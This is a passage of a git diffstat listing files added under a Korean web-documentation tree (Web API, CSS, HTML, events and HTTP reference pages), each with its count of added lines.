.../ko/web/api/window/getcomputedstyle/index.html | 137 + files/ko/web/api/window/getselection/index.html | 129 + files/ko/web/api/window/history/index.html | 59 + files/ko/web/api/window/index.html | 700 + files/ko/web/api/window/innerwidth/index.html | 78 + files/ko/web/api/window/length/index.html | 51 + files/ko/web/api/window/localstorage/index.html | 92 + files/ko/web/api/window/location/index.html | 213 + files/ko/web/api/window/matchmedia/index.html | 77 + files/ko/web/api/window/name/index.html | 32 + files/ko/web/api/window/navigator/index.html | 44 + files/ko/web/api/window/open/index.html | 665 + files/ko/web/api/window/opener/index.html | 52 + .../api/window/orientationchange_event/index.html | 66 + files/ko/web/api/window/outerwidth/index.html | 101 + files/ko/web/api/window/pageyoffset/index.html | 164 + files/ko/web/api/window/popstate_event/index.html | 66 + files/ko/web/api/window/postmessage/index.html | 183 + files/ko/web/api/window/prompt/index.html | 94 + .../api/window/requestanimationframe/index.html | 112 + .../web/api/window/requestidlecallback/index.html | 76 + files/ko/web/api/window/resize_event/index.html | 192 + files/ko/web/api/window/resizeto/index.html | 73 + files/ko/web/api/window/scrollto/index.html | 48 + files/ko/web/api/window/scrollx/index.html | 82 + files/ko/web/api/window/scrolly/index.html | 86 + files/ko/web/api/window/self/index.html | 72 + files/ko/web/api/window/sessionstorage/index.html | 101 + files/ko/web/api/window/status/index.html | 25 + files/ko/web/api/window/stop/index.html | 50 + files/ko/web/api/window/toolbar/index.html | 51 + files/ko/web/api/window/top/index.html | 55 + files/ko/web/api/window/unload_event/index.html | 126 + files/ko/web/api/window/window/index.html | 43 + files/ko/web/api/windoweventhandlers/index.html | 101 + .../windoweventhandlers/onhashchange/index.html | 159 + .../api/windoweventhandlers/onpopstate/index.html | 57 + .../api/windoweventhandlers/onstorage/index.html | 64 + .../ko/web/api/windowtimers/settimeout/index.html | 429 + files/ko/web/api/worker/index.html | 129 + files/ko/web/api/worker/postmessage/index.html | 205 + files/ko/web/api/writablestream/index.html | 144 + files/ko/web/api/xmlhttprequest/index.html | 194 + .../api/xmlhttprequest/setrequestheader/index.html | 55 + .../index.html | 231 + files/ko/web/api/xmlhttprequest/timeout/index.html | 123 + files/ko/web/api/xmlhttprequest/upload/index.html | 88 + files/ko/web/apps/design/index.html | 35 + .../marketplace_review_criteria/index.html | 77 + files/ko/web/css/-moz-image-region/index.html | 54 + files/ko/web/css/-webkit-line-clamp/index.html | 111 + .../web/css/-webkit-overflow-scrolling/index.html | 86 + files/ko/web/css/@charset/index.html | 78 + .../ko/web/css/@font-face/font-display/index.html | 101 + files/ko/web/css/@font-face/index.html | 216 + files/ko/web/css/@import/index.html | 83 + files/ko/web/css/@keyframes/index.html | 152 + files/ko/web/css/@media/index.html | 153 + .../web/css/@media/prefers-color-scheme/index.html | 89 + files/ko/web/css/@namespace/index.html | 78 + files/ko/web/css/@page/index.html | 96 + files/ko/web/css/@supports/index.html | 193 + files/ko/web/css/@viewport/height/index.html | 75 + files/ko/web/css/@viewport/index.html | 120 + files/ko/web/css/@viewport/viewport-fit/index.html | 72 + files/ko/web/css/@viewport/zoom/index.html | 70 + files/ko/web/css/_colon_active/index.html | 127 + files/ko/web/css/_colon_checked/index.html | 193 + files/ko/web/css/_colon_default/index.html | 101 + files/ko/web/css/_colon_defined/index.html | 118 + files/ko/web/css/_colon_disabled/index.html | 129 + files/ko/web/css/_colon_enabled/index.html | 100 + files/ko/web/css/_colon_first-child/index.html | 134 + files/ko/web/css/_colon_first-of-type/index.html | 115 + files/ko/web/css/_colon_first/index.html | 97 + files/ko/web/css/_colon_focus-within/index.html | 96 + files/ko/web/css/_colon_focus/index.html | 116 + files/ko/web/css/_colon_fullscreen/index.html | 94 + files/ko/web/css/_colon_hover/index.html | 97 + files/ko/web/css/_colon_link/index.html | 105 + files/ko/web/css/_colon_not/index.html | 71 + files/ko/web/css/_colon_nth-child/index.html | 196 + files/ko/web/css/_colon_root/index.html | 78 + files/ko/web/css/_colon_visited/index.html | 121 + files/ko/web/css/_doublecolon_after/index.html | 179 + files/ko/web/css/_doublecolon_before/index.html | 237 + .../ko/web/css/_doublecolon_placeholder/index.html | 147 + files/ko/web/css/actual_value/index.html | 47 + files/ko/web/css/align-content/index.html | 297 + files/ko/web/css/all/index.html | 171 + .../css/all_about_the_containing_block/index.html | 263 + .../ko/web/css/alternative_style_sheets/index.html | 24 + files/ko/web/css/angle-percentage/index.html | 52 + files/ko/web/css/angle/index.html | 115 + files/ko/web/css/animation-delay/index.html | 85 + files/ko/web/css/animation-direction/index.html | 191 + files/ko/web/css/animation-duration/index.html | 140 + files/ko/web/css/animation-fill-mode/index.html | 241 + files/ko/web/css/animation/index.html | 349 + files/ko/web/css/at-rule/index.html | 76 + files/ko/web/css/attribute_selectors/index.html | 228 + files/ko/web/css/backdrop-filter/index.html | 146 + files/ko/web/css/backface-visibility/index.html | 217 + files/ko/web/css/background-attachment/index.html | 153 + files/ko/web/css/background-clip/index.html | 129 + files/ko/web/css/background-color/index.html | 169 + files/ko/web/css/background-image/index.html | 152 + files/ko/web/css/background-origin/index.html | 113 + files/ko/web/css/background-repeat/index.html | 233 + files/ko/web/css/background-size/index.html | 196 + files/ko/web/css/background/index.html | 178 + files/ko/web/css/basic-shape/index.html | 179 + files/ko/web/css/blend-mode/index.html | 404 + files/ko/web/css/border-bottom-color/index.html | 114 + files/ko/web/css/border-bottom-style/index.html | 134 + files/ko/web/css/border-bottom-width/index.html | 150 + files/ko/web/css/border-bottom/index.html | 109 + files/ko/web/css/border-collapse/index.html | 148 + files/ko/web/css/border-color/index.html | 184 + files/ko/web/css/border-image-outset/index.html | 113 + files/ko/web/css/border-image-repeat/index.html | 125 + files/ko/web/css/border-image-slice/index.html | 107 + files/ko/web/css/border-image-source/index.html | 78 + files/ko/web/css/border-image-width/index.html | 128 + files/ko/web/css/border-image/index.html | 168 + files/ko/web/css/border-left-color/index.html | 114 + files/ko/web/css/border-left-style/index.html | 134 + files/ko/web/css/border-left-width/index.html | 150 + files/ko/web/css/border-left/index.html | 109 + files/ko/web/css/border-radius/index.html | 228 + files/ko/web/css/border-right-color/index.html | 114 + files/ko/web/css/border-right-style/index.html | 134 + files/ko/web/css/border-right-width/index.html | 150 + files/ko/web/css/border-right/index.html | 109 + files/ko/web/css/border-spacing/index.html | 131 + files/ko/web/css/border-style/index.html | 241 + files/ko/web/css/border-top-color/index.html | 114 + files/ko/web/css/border-top-style/index.html | 134 + files/ko/web/css/border-top-width/index.html | 148 + files/ko/web/css/border-top/index.html | 109 + files/ko/web/css/border-width/index.html | 194 + files/ko/web/css/border/index.html | 151 + files/ko/web/css/box-shadow/index.html | 126 + files/ko/web/css/box-sizing/index.html | 119 + files/ko/web/css/calc()/index.html | 160 + files/ko/web/css/cascade/index.html | 229 + files/ko/web/css/child_combinator/index.html | 92 + files/ko/web/css/class_selectors/index.html | 107 + files/ko/web/css/clear/index.html | 231 + files/ko/web/css/clip-path/index.html | 614 + files/ko/web/css/color/index.html | 163 + files/ko/web/css/color_value/index.html | 1374 ++ files/ko/web/css/comments/index.html | 54 + files/ko/web/css/common_css_questions/index.html | 199 + files/ko/web/css/computed_value/index.html | 55 + files/ko/web/css/contain/index.html | 206 + files/ko/web/css/content/index.html | 297 + .../ko/web/css/css_animated_properties/index.html | 14 + files/ko/web/css/css_animations/index.html | 87 + .../css_animations/using_css_animations/index.html | 330 + .../border-image_generator/index.html | 2627 +++ .../border-radius_generator/index.html | 1601 ++ .../box-shadow_generator/index.html | 2881 +++ .../using_css_multiple_backgrounds/index.html | 55 + .../web/css/css_backgrounds_and_borders/index.html | 113 + .../scaling_background_images/index.html | 137 + .../using_multiple_backgrounds/index.html | 59 + .../ko/web/css/css_basic_user_interface/index.html | 75 + files/ko/web/css/css_box_model/index.html | 113 + .../introduction_to_the_css_box_model/index.html | 70 + .../mastering_margin_collapsing/index.html | 82 + files/ko/web/css/css_charsets/index.html | 44 + files/ko/web/css/css_color/index.html | 110 + .../css/css_colors/color_picker_tool/index.html | 3238 ++++ files/ko/web/css/css_columns/index.html | 89 + files/ko/web/css/css_conditional_rules/index.html | 44 + files/ko/web/css/css_containment/index.html | 123 + files/ko/web/css/css_device_adaptation/index.html | 42 + .../aligning_items_in_a_flex_container/index.html | 211 + .../index.html" | 236 + .../ko/web/css/css_flexible_box_layout/index.html | 108 + .../index.html" | 141 + files/ko/web/css/css_flow_layout/index.html | 46 + .../intro_to_formatting_contexts/index.html | 92 + .../index.html" | 72 + .../index.html" | 122 + .../index.html" | 92 + .../index.html" | 73 + files/ko/web/css/css_fonts/index.html | 102 + files/ko/web/css/css_generated_content/index.html | 43 + .../basic_concepts_of_grid_layout/index.html | 765 + .../css_grid_layout/grid_template_areas/index.html | 533 + files/ko/web/css/css_grid_layout/index.html | 253 + .../layout_using_named_grid_lines/index.html | 497 + .../line-based_placement_with_css_grid/index.html | 649 + .../relationship_of_grid_layout/index.html | 625 + .../implementing_image_sprites_in_css/index.html | 56 + files/ko/web/css/css_images/index.html | 107 + .../css/css_images/using_css_gradients/index.html | 750 + files/ko/web/css/css_lists_and_counters/index.html | 57 + .../using_css_counters/index.html | 148 + files/ko/web/css/css_logical_properties/index.html | 136 + files/ko/web/css/css_masks/index.html | 68 + files/ko/web/css/css_miscellaneous/index.html | 43 + files/ko/web/css/css_namespaces/index.html | 42 + files/ko/web/css/css_pages/index.html | 73 + files/ko/web/css/css_positioning/index.html | 61 + .../adding_z-index/index.html | 157 + .../understanding_z_index/index.html | 32 + .../stacking_and_float/index.html | 146 + .../stacking_context_example_1/index.html | 120 + .../stacking_context_example_2/index.html | 123 + .../stacking_context_example_3/index.html | 167 + .../stacking_without_z-index/index.html | 145 + .../the_stacking_context/index.html | 240 + files/ko/web/css/css_ruby/index.html | 45 + files/ko/web/css/css_scroll_snap_points/index.html | 50 + files/ko/web/css/css_selectors/index.html | 133 + files/ko/web/css/css_shapes/index.html | 80 + files/ko/web/css/css_table/index.html | 48 + files/ko/web/css/css_text/index.html | 71 + files/ko/web/css/css_text_decoration/index.html | 69 + files/ko/web/css/css_transforms/index.html | 66 + .../css_transforms/using_css_transforms/index.html | 80 + files/ko/web/css/css_transitions/index.html | 59 + .../using_css_transitions/index.html | 1058 ++ files/ko/web/css/css_types/index.html | 100 + files/ko/web/css/css_variables/index.html | 37 + files/ko/web/css/css_writing_modes/index.html | 57 + .../index.html" | 497 + files/ko/web/css/cursor/index.html | 315 + .../index.html | 70 + files/ko/web/css/descendant_combinator/index.html | 108 + files/ko/web/css/display-internal/index.html | 131 + files/ko/web/css/display/index.html | 234 + files/ko/web/css/filter-function/blur()/index.html | 40 + .../css/filter-function/brightness()/index.html | 41 + .../web/css/filter-function/contrast()/index.html | 41 + files/ko/web/css/filter-function/index.html | 210 + files/ko/web/css/filter/index.html | 1138 ++ files/ko/web/css/filter_effects/index.html | 70 + files/ko/web/css/flex-basis/index.html | 209 + files/ko/web/css/flex-direction/index.html | 155 + files/ko/web/css/flex-flow/index.html | 91 + files/ko/web/css/flex-grow/index.html | 123 + files/ko/web/css/flex-shrink/index.html | 123 + files/ko/web/css/flex-wrap/index.html | 159 + files/ko/web/css/flex/index.html | 267 + files/ko/web/css/float/index.html | 215 + files/ko/web/css/font-family/index.html | 177 + files/ko/web/css/font-feature-settings/index.html | 128 + files/ko/web/css/font-size/index.html | 220 + files/ko/web/css/font-synthesis/index.html | 111 + files/ko/web/css/font-weight/index.html | 283 + files/ko/web/css/font/index.html | 345 + files/ko/web/css/frequency/index.html | 75 + files/ko/web/css/gap/index.html | 220 + .../web/css/general_sibling_combinator/index.html | 80 + .../web/css/getting_started/javascript/index.html | 144 + .../css/getting_started/svg_graphics/index.html | 195 + .../css/getting_started/xbl_bindings/index.html | 198 + .../ko/web/css/getting_started/xml_data/index.html | 186 + .../getting_started/xul_user_interfaces/index.html | 315 + files/ko/web/css/gradient/index.html | 160 + files/ko/web/css/grid-area/index.html | 206 + files/ko/web/css/grid/index.html | 192 + files/ko/web/css/height/index.html | 175 + files/ko/web/css/hyphens/index.html | 159 + files/ko/web/css/id_selectors/index.html | 85 + files/ko/web/css/image-rendering/index.html | 120 + files/ko/web/css/image/index.html | 175 + files/ko/web/css/index.html | 96 + files/ko/web/css/index/index.html | 10 + files/ko/web/css/inherit/index.html | 77 + files/ko/web/css/inheritance/index.html | 54 + files/ko/web/css/initial/index.html | 78 + files/ko/web/css/initial_value/index.html | 51 + files/ko/web/css/integer/index.html | 93 + files/ko/web/css/isolation/index.html | 114 + files/ko/web/css/layout_mode/index.html | 32 + files/ko/web/css/length-percentage/index.html | 55 + files/ko/web/css/length/index.html | 252 + files/ko/web/css/letter-spacing/index.html | 135 + files/ko/web/css/line-break/index.html | 112 + files/ko/web/css/linear-gradient()/index.html | 204 + files/ko/web/css/margin-bottom/index.html | 100 + files/ko/web/css/margin-left/index.html | 160 + files/ko/web/css/margin-right/index.html | 159 + files/ko/web/css/margin-top/index.html | 100 + files/ko/web/css/margin/index.html | 176 + files/ko/web/css/mask/index.html | 117 + files/ko/web/css/max-height/index.html | 127 + files/ko/web/css/max-width/index.html | 173 + files/ko/web/css/media_queries/index.html | 103 + .../index.html | 93 + files/ko/web/css/min-height/index.html | 123 + files/ko/web/css/min-width/index.html | 122 + files/ko/web/css/mix-blend-mode/index.html | 651 + files/ko/web/css/number/index.html | 85 + files/ko/web/css/object-fit/index.html | 170 + files/ko/web/css/object-position/index.html | 123 + files/ko/web/css/opacity/index.html | 144 + files/ko/web/css/order/index.html | 110 + files/ko/web/css/outline-style/index.html | 256 + files/ko/web/css/outline-width/index.html | 141 + files/ko/web/css/outline/index.html | 158 + files/ko/web/css/overflow-wrap/index.html | 118 + files/ko/web/css/overflow/index.html | 146 + files/ko/web/css/padding-bottom/index.html | 111 + files/ko/web/css/padding-left/index.html | 109 + files/ko/web/css/padding-right/index.html | 109 + files/ko/web/css/padding-top/index.html | 111 + files/ko/web/css/padding/index.html | 158 + files/ko/web/css/paged_media/index.html | 19 + files/ko/web/css/paint-order/index.html | 110 + files/ko/web/css/percentage/index.html | 86 + files/ko/web/css/pointer-events/index.html | 168 + files/ko/web/css/position/index.html | 316 + files/ko/web/css/position_value/index.html | 135 + files/ko/web/css/pseudo-classes/index.html | 166 + files/ko/web/css/pseudo-elements/index.html | 124 + files/ko/web/css/reference/index.html | 190 + .../web/css/reference/property_template/index.html | 131 + files/ko/web/css/replaced_element/index.html | 65 + files/ko/web/css/resolved_value/index.html | 39 + files/ko/web/css/revert/index.html | 137 + files/ko/web/css/selector_list/index.html | 101 + files/ko/web/css/shorthand_properties/index.html | 156 + files/ko/web/css/specificity/index.html | 331 + files/ko/web/css/specified_value/index.html | 67 + files/ko/web/css/syntax/index.html | 79 + files/ko/web/css/tab-size/index.html | 121 + files/ko/web/css/text-align/index.html | 234 + files/ko/web/css/text-decoration/index.html | 133 + files/ko/web/css/text-shadow/index.html | 126 + files/ko/web/css/time/index.html | 88 + files/ko/web/css/transform-function/index.html | 158 + .../web/css/transform-function/matrix()/index.html | 89 + .../web/css/transform-function/scalex()/index.html | 101 + files/ko/web/css/transform/index.html | 151 + files/ko/web/css/transition-delay/index.html | 395 + files/ko/web/css/transition/index.html | 150 + files/ko/web/css/type_selectors/index.html | 86 + files/ko/web/css/universal_selectors/index.html | 105 + files/ko/web/css/unset/index.html | 120 + files/ko/web/css/url/index.html | 79 + files/ko/web/css/used_value/index.html | 127 + files/ko/web/css/user-select/index.html | 123 + .../web/css/using_css_custom_properties/index.html | 262 + .../ko/web/css/value_definition_syntax/index.html | 436 + files/ko/web/css/var()/index.html | 99 + files/ko/web/css/vertical-align/index.html | 246 + files/ko/web/css/visibility/index.html | 176 + files/ko/web/css/white-space/index.html | 242 + files/ko/web/css/width/index.html | 200 + files/ko/web/css/will-change/index.html | 171 + files/ko/web/css/word-break/index.html | 141 + files/ko/web/css/word-spacing/index.html | 127 + files/ko/web/css/z-index/index.html | 138 + .../index.html" | 244 + .../index.html" | 346 + .../\353\260\260\354\271\230/index.html" | 369 + .../\354\203\201\354\236\220/index.html" | 330 + .../index.html" | 126 + .../index.html" | 474 + .../index.html" | 149 + .../index.html" | 83 + files/ko/web/events/abort/index.html | 73 + files/ko/web/events/blur/index.html | 154 + files/ko/web/events/chargingchange/index.html | 66 + files/ko/web/events/domcontentloaded/index.html | 77 + files/ko/web/events/domsubtreemodified/index.html | 17 + files/ko/web/events/index.html | 3114 +++ files/ko/web/events/load/index.html | 128 + files/ko/web/events/message/index.html | 152 + files/ko/web/exslt/index.html | 96 + files/ko/web/guide/ajax/community/index.html | 21 + files/ko/web/guide/ajax/getting_started/index.html | 296 + files/ko/web/guide/ajax/index.html | 71 + files/ko/web/guide/api/index.html | 24 + .../web/guide/api/vibration/vibration/index.html | 100 + .../index.html | 321 + .../web/guide/audio_and_video_delivery/index.html | 554 + .../guide/css/block_formatting_context/index.html | 198 + files/ko/web/guide/css/media_queries/index.html | 386 + .../guide/css/visual_formatting_model/index.html | 223 + files/ko/web/guide/dom/index.html | 21 + .../guide/dom/using_full_screen_mode/index.html | 198 + .../creating_and_triggering_events/index.html | 140 + files/ko/web/guide/events/index.html | 51 + .../overview_of_events_and_handlers/index.html | 142 + .../web/guide/html/content_categories/index.html | 180 + .../ko/web/guide/html/content_editable/index.html | 65 + files/ko/web/guide/index.html | 31 + files/ko/web/guide/index/index.html | 11 + files/ko/web/guide/mobile/index.html | 77 + .../ko/web/guide/mobile/separate_sites/index.html | 53 + .../index.html" | 141 + .../index.html" | 48 + files/ko/web/html/applying_color/index.html | 510 + .../ko/web/html/attributes/autocomplete/index.html | 247 + .../ko/web/html/attributes/crossorigin/index.html | 96 + files/ko/web/html/attributes/index.html | 733 + files/ko/web/html/block-level_elements/index.html | 127 + files/ko/web/html/canvas/index.html | 135 + .../manipulating_video_using_canvas/index.html | 164 + .../canvas/tutorial/advanced_animations/index.html | 376 + .../tutorial/applying_styles_and_colors/index.html | 732 + .../canvas/tutorial/basic_animations/index.html | 310 + .../html/canvas/tutorial/basic_usage/index.html | 154 + .../canvas/tutorial/compositing/example/index.html | 293 + .../html/canvas/tutorial/compositing/index.html | 106 + .../html/canvas/tutorial/drawing_shapes/index.html | 577 + .../ko/web/html/canvas/tutorial/finale/index.html | 51 + .../hit_regions_and_accessibility/index.html | 97 + files/ko/web/html/canvas/tutorial/index.html | 62 + .../canvas/tutorial/optimizing_canvas/index.html | 110 + .../html/canvas/tutorial/using_images/index.html | 347 + .../tutorial/\353\263\200\355\230\225/index.html" | 286 + files/ko/web/html/cors_enabled_image/index.html | 112 + files/ko/web/html/element/a/index.html | 489 + files/ko/web/html/element/abbr/index.html | 194 + files/ko/web/html/element/address/index.html | 128 + files/ko/web/html/element/applet/index.html | 115 + files/ko/web/html/element/area/index.html | 184 + files/ko/web/html/element/article/index.html | 137 + files/ko/web/html/element/aside/index.html | 122 + files/ko/web/html/element/audio/index.html | 417 + files/ko/web/html/element/b/index.html | 121 + files/ko/web/html/element/base/index.html | 136 + files/ko/web/html/element/bdo/index.html | 111 + files/ko/web/html/element/blockquote/index.html | 131 + files/ko/web/html/element/body/index.html | 166 + files/ko/web/html/element/br/index.html | 130 + files/ko/web/html/element/button/index.html | 293 + files/ko/web/html/element/canvas/index.html | 194 + files/ko/web/html/element/caption/index.html | 153 + files/ko/web/html/element/center/index.html | 51 + files/ko/web/html/element/cite/index.html | 143 + files/ko/web/html/element/code/index.html | 109 + files/ko/web/html/element/col/index.html | 159 + files/ko/web/html/element/colgroup/index.html | 142 + files/ko/web/html/element/command/index.html | 111 + files/ko/web/html/element/content/index.html | 101 + files/ko/web/html/element/data/index.html | 104 + files/ko/web/html/element/datalist/index.html | 115 + files/ko/web/html/element/dd/index.html | 111 + files/ko/web/html/element/del/index.html | 140 + files/ko/web/html/element/details/index.html | 284 + files/ko/web/html/element/dfn/index.html | 196 + files/ko/web/html/element/dialog/index.html | 180 + files/ko/web/html/element/div/index.html | 147 + files/ko/web/html/element/dl/index.html | 223 + files/ko/web/html/element/dt/index.html | 99 + files/ko/web/html/element/element/index.html | 57 + files/ko/web/html/element/em/index.html | 124 + files/ko/web/html/element/embed/index.html | 81 + files/ko/web/html/element/fieldset/index.html | 151 + files/ko/web/html/element/figcaption/index.html | 88 + files/ko/web/html/element/figure/index.html | 175 + files/ko/web/html/element/font/index.html | 48 + files/ko/web/html/element/footer/index.html | 109 + files/ko/web/html/element/form/index.html | 186 + files/ko/web/html/element/frame/index.html | 56 + files/ko/web/html/element/frameset/index.html | 39 + files/ko/web/html/element/head/index.html | 129 + files/ko/web/html/element/header/index.html | 109 + .../web/html/element/heading_elements/index.html | 242 + files/ko/web/html/element/hgroup/index.html | 105 + files/ko/web/html/element/hr/index.html | 131 + files/ko/web/html/element/html/index.html | 123 + files/ko/web/html/element/i/index.html | 119 + files/ko/web/html/element/iframe/index.html | 253 + files/ko/web/html/element/img/index.html | 389 + files/ko/web/html/element/index.html | 102 + files/ko/web/html/element/input/button/index.html | 343 + files/ko/web/html/element/input/date/index.html | 497 + files/ko/web/html/element/input/file/index.html | 509 + files/ko/web/html/element/input/index.html | 865 + files/ko/web/html/element/input/radio/index.html | 367 + files/ko/web/html/element/ins/index.html | 137 + files/ko/web/html/element/kbd/index.html | 208 + files/ko/web/html/element/keygen/index.html | 122 + files/ko/web/html/element/label/index.html | 189 + files/ko/web/html/element/legend/index.html | 91 + files/ko/web/html/element/li/index.html | 154 + files/ko/web/html/element/link/index.html | 365 + files/ko/web/html/element/main/index.html | 172 + files/ko/web/html/element/map/index.html | 121 + files/ko/web/html/element/mark/index.html | 161 + files/ko/web/html/element/menu/index.html | 132 + files/ko/web/html/element/meta/index.html | 151 + files/ko/web/html/element/meta/name/index.html | 312 + files/ko/web/html/element/meter/index.html | 142 + files/ko/web/html/element/nav/index.html | 101 + files/ko/web/html/element/noscript/index.html | 113 + files/ko/web/html/element/object/index.html | 117 + files/ko/web/html/element/ol/index.html | 207 + files/ko/web/html/element/optgroup/index.html | 120 + files/ko/web/html/element/option/index.html | 101 + files/ko/web/html/element/output/index.html | 104 + files/ko/web/html/element/p/index.html | 175 + files/ko/web/html/element/param/index.html | 116 + files/ko/web/html/element/pre/index.html | 150 + files/ko/web/html/element/progress/index.html | 122 + files/ko/web/html/element/q/index.html | 111 + files/ko/web/html/element/rb/index.html | 150 + files/ko/web/html/element/rp/index.html | 134 + files/ko/web/html/element/rt/index.html | 129 + files/ko/web/html/element/rtc/index.html | 121 + files/ko/web/html/element/ruby/index.html | 110 + files/ko/web/html/element/s/index.html | 126 + files/ko/web/html/element/samp/index.html | 156 + files/ko/web/html/element/script/index.html | 220 + files/ko/web/html/element/section/index.html | 123 + files/ko/web/html/element/select/index.html | 210 + files/ko/web/html/element/slot/index.html | 122 + files/ko/web/html/element/small/index.html | 117 + files/ko/web/html/element/span/index.html | 125 + files/ko/web/html/element/strong/index.html | 135 + files/ko/web/html/element/style/index.html | 201 + files/ko/web/html/element/sub/index.html | 137 + files/ko/web/html/element/summary/index.html | 151 + files/ko/web/html/element/sup/index.html | 142 + files/ko/web/html/element/table/index.html | 370 + files/ko/web/html/element/tbody/index.html | 320 + files/ko/web/html/element/td/index.html | 213 + files/ko/web/html/element/template/index.html | 165 + files/ko/web/html/element/textarea/index.html | 158 + files/ko/web/html/element/th/index.html | 226 + files/ko/web/html/element/thead/index.html | 270 + files/ko/web/html/element/time/index.html | 169 + files/ko/web/html/element/title/index.html | 134 + files/ko/web/html/element/tr/index.html | 217 + files/ko/web/html/element/track/index.html | 175 + files/ko/web/html/element/u/index.html | 206 + files/ko/web/html/element/ul/index.html | 188 + files/ko/web/html/element/var/index.html | 116 + files/ko/web/html/element/video/index.html | 145 + files/ko/web/html/element/wbr/index.html | 111 + .../html/global_attributes/accesskey/index.html | 139 + .../global_attributes/autocapitalize/index.html | 47 + .../global_attributes/contenteditable/index.html | 76 + .../html/global_attributes/contextmenu/index.html | 121 + .../html/global_attributes/data-_star_/index.html | 79 + files/ko/web/html/global_attributes/dir/index.html | 89 + .../html/global_attributes/draggable/index.html | 66 + .../web/html/global_attributes/dropzone/index.html | 53 + .../web/html/global_attributes/hidden/index.html | 69 + files/ko/web/html/global_attributes/id/index.html | 72 + files/ko/web/html/global_attributes/index.html | 166 + .../html/global_attributes/inputmode/index.html | 64 + files/ko/web/html/global_attributes/is/index.html | 64 + .../web/html/global_attributes/itemid/index.html | 105 + .../web/html/global_attributes/itemprop/index.html | 472 + .../web/html/global_attributes/itemref/index.html | 95 + .../html/global_attributes/itemscope/index.html | 284 + .../ko/web/html/global_attributes/lang/index.html | 90 + .../ko/web/html/global_attributes/part/index.html | 43 + .../ko/web/html/global_attributes/slot/index.html | 48 + .../html/global_attributes/spellcheck/index.html | 67 + .../ko/web/html/global_attributes/style/index.html | 69 + .../web/html/global_attributes/tabindex/index.html | 92 + .../ko/web/html/global_attributes/title/index.html | 125 + .../html/global_attributes/translate/index.html | 64 + .../index.html" | 64 + files/ko/web/html/html5/index.html | 122 + .../html/html5/introduction_to_html5/index.html | 40 + .../index.html" | 367 + files/ko/web/html/index.html | 117 + files/ko/web/html/index/index.html | 10 + files/ko/web/html/inline_elements/index.html | 169 + files/ko/web/html/link_types/index.html | 332 + files/ko/web/html/preloading_content/index.html | 233 + .../html/quirks_mode_and_standards_mode/index.html | 46 + files/ko/web/html/reference/index.html | 32 + .../html/using_the_application_cache/index.html | 338 + files/ko/web/http/authentication/index.html | 111 + .../index.html | 65 + .../web/http/basics_of_http/data_uris/index.html | 162 + .../basics_of_http/evolution_of_http/index.html | 201 + .../identifying_resources_on_the_web/index.html | 167 + files/ko/web/http/basics_of_http/index.html | 51 + .../mime_types/common_types/index.html | 305 + .../web/http/basics_of_http/mime_types/index.html | 306 + files/ko/web/http/caching/index.html | 193 + files/ko/web/http/compression/index.html | 64 + files/ko/web/http/conditional_requests/index.html | 139 + .../connection_management_in_http_1.x/index.html | 86 + files/ko/web/http/content_negotiation/index.html | 129 + files/ko/web/http/cookies/index.html | 201 + .../http/cors/errors/corsdidnotsucceed/index.html | 22 + .../http/cors/errors/corsrequestnothttp/index.html | 43 + files/ko/web/http/cors/errors/index.html | 76 + files/ko/web/http/cors/index.html | 476 + .../ko/web/http/headers/accept-charset/index.html | 80 + .../ko/web/http/headers/accept-encoding/index.html | 109 + .../ko/web/http/headers/accept-language/index.html | 89 + files/ko/web/http/headers/accept-ranges/index.html | 72 + files/ko/web/http/headers/accept/index.html | 81 + .../access-control-allow-credentials/index.html | 90 + .../access-control-allow-headers/index.html | 117 + .../headers/access-control-allow-origin/index.html | 140 + .../access-control-request-headers/index.html | 71 + .../access-control-request-method/index.html | 71 + files/ko/web/http/headers/age/index.html | 69 + files/ko/web/http/headers/allow/index.html | 67 + files/ko/web/http/headers/authorization/index.html | 90 + files/ko/web/http/headers/cache-control/index.html | 171 + files/ko/web/http/headers/connection/index.html | 53 + .../http/headers/content-disposition/index.html | 133 + .../web/http/headers/content-encoding/index.html | 94 + .../web/http/headers/content-language/index.html | 92 + .../ko/web/http/headers/content-length/index.html | 60 + .../web/http/headers/content-location/index.html | 66 + files/ko/web/http/headers/content-range/index.html | 89 + .../content-security-policy/default-src/index.html | 149 + .../content-security-policy/img-src/index.html | 84 + .../headers/content-security-policy/index.html | 259 + .../content-security-policy/report-to/index.html | 80 + .../content-security-policy/script-src/index.html | 167 + files/ko/web/http/headers/content-type/index.html | 108 + files/ko/web/http/headers/cookie/index.html | 66 + files/ko/web/http/headers/date/index.html | 81 + files/ko/web/http/headers/dnt/index.html | 83 + files/ko/web/http/headers/etag/index.html | 99 + files/ko/web/http/headers/expect/index.html | 90 + files/ko/web/http/headers/expires/index.html | 75 + files/ko/web/http/headers/forwarded/index.html | 110 + files/ko/web/http/headers/from/index.html | 70 + files/ko/web/http/headers/host/index.html | 70 + .../web/http/headers/if-modified-since/index.html | 91 + files/ko/web/http/headers/if-range/index.html | 104 + files/ko/web/http/headers/index.html | 444 + files/ko/web/http/headers/keep-alive/index.html | 88 + files/ko/web/http/headers/last-modified/index.html | 92 + files/ko/web/http/headers/origin/index.html | 88 + files/ko/web/http/headers/pragma/index.html | 84 + files/ko/web/http/headers/range/index.html | 84 + files/ko/web/http/headers/referer/index.html | 79 + files/ko/web/http/headers/retry-after/index.html | 80 + files/ko/web/http/headers/server/index.html | 70 + files/ko/web/http/headers/set-cookie/index.html | 161 + .../headers/strict-transport-security/index.html | 108 + .../web/http/headers/transfer-encoding/index.html | 104 + files/ko/web/http/headers/vary/index.html | 82 + files/ko/web/http/headers/via/index.html | 79 + .../ko/web/http/headers/x-forwarded-for/index.html | 81 + .../web/http/headers/x-forwarded-host/index.html | 74 + .../web/http/headers/x-forwarded-proto/index.html | 61 + .../ko/web/http/headers/x-frame-options/index.html | 129 + .../web/http/headers/x-xss-protection/index.html | 83 + files/ko/web/http/index.html | 87 + files/ko/web/http/index/index.html | 11 + files/ko/web/http/messages/index.html | 147 + files/ko/web/http/methods/connect/index.html | 86 + files/ko/web/http/methods/delete/index.html | 98 + files/ko/web/http/methods/get/index.html | 75 + files/ko/web/http/methods/head/index.html | 77 + files/ko/web/http/methods/index.html | 73 + files/ko/web/http/methods/options/index.html | 131 + files/ko/web/http/methods/patch/index.html | 95 + files/ko/web/http/methods/post/index.html | 127 + files/ko/web/http/methods/put/index.html | 101 + files/ko/web/http/overview/index.html | 179 + files/ko/web/http/range_requests/index.html | 119 + files/ko/web/http/redirections/index.html | 256 + .../http/resources_and_specifications/index.html | 242 + files/ko/web/http/resources_and_uris/index.html | 27 + files/ko/web/http/session/index.html | 159 + files/ko/web/http/status/100/index.html | 46 + files/ko/web/http/status/101/index.html | 52 + files/ko/web/http/status/103/index.html | 43 + 